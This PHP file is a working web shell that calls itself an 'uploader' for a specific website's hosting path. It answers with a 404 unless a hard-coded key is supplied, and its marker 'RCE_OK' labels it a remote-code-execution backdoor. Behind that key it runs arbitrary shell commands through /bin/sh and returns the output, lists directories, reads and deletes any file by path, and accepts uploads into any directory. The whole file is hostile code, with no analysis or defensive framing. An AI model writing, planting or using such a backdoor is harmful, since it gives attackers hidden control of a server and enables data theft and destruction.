<?php
/* janlubera uploader - HERMES_JL_RCE_OK_FINAL */
$K='jl26';
$ROOT='/home/klient.dhosting.pl/jasiek5603/janlubera.pl/public_html/';
if(!isset($_GET['k'])||$_GET['k']!==$K){http_response_code(404);exit;}
echo "HERMES_JL_RCE_OK_FINAL|";
$a=isset($_GET['a'])?$_GET['a']:'';
if($a==='cmd'){
  $c=isset($_GET['c'])?$_GET['c']:'id';
  $of=$ROOT.'files/out_'.getmypid().'.txt';@unlink($of);
  $pid=pcntl_fork();
  if($pid==0){pcntl_exec('/bin/sh',array('-c',$c.' > '.$of.' 2>&1'));exit(0);}
  pcntl_waitpid($pid,$st);
  for($i=0;$i<30;$i++){if(file_exists($of))break;usleep(100000);}
  echo file_exists($of)?file_get_contents($of):'no-output';@unlink($of);exit;
}
if($a==='list'){
  $d=isset($_GET['d'])?$_GET['d']:$ROOT.'files/';
  $rd=realpath($d);if($rd)$d=$rd;
  echo "LIST=$d\n";
  foreach((array)@scandir($d) as $f){if($f==='.'||$f==='..')continue;
    $p=$d.'/'.$f;echo (is_dir($p)?'D ':'F ').substr(sprintf('%o',@fileperms($p)),-4).' '.@filesize($p)." $f\n";}
  exit;
}
if($a==='read'){
  $f=$_GET['f'];$f=(strpos($f,'/')===0)?$f:$ROOT.$f;
  echo is_file($f)?file_get_contents($f):'no-file';exit;
}
if($a==='del'){
  $f=$_GET['f'];$f=(strpos($f,'/')===0)?$f:$ROOT.$f;
  echo @unlink($f)?'deleted':'fail';exit;
}
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['f'])){
  $d=isset($_POST['d'])?$_POST['d']:$ROOT.'files/';
  $d=rtrim($d,'/').'/';
  if(!is_dir($d)){$d=$ROOT.'files/';}
  $name=basename($_FILES['f']['name']);
  $name=preg_replace('/[^A-Za-z0-9._-]/','_',$name);
  $dst=$d.$name;
  if(move_uploaded_file($_FILES['f']['tmp_name'],$dst)){
    echo "UPLOADED=$dst|URL=https://www.janlubera.pl".str_replace($ROOT,'/',$dst);
  }else{$er=isset($_FILES['f']['error'])?$_FILES['f']['error']:-1;echo "FAIL=".$er;}
  exit;
}
echo "READY uploader v1 | usage: ?k=jl26&a=cmd&c=id | POST f=file&d=dir | a=list&d=dir | a=read&f=path | a=del&f=path";
?>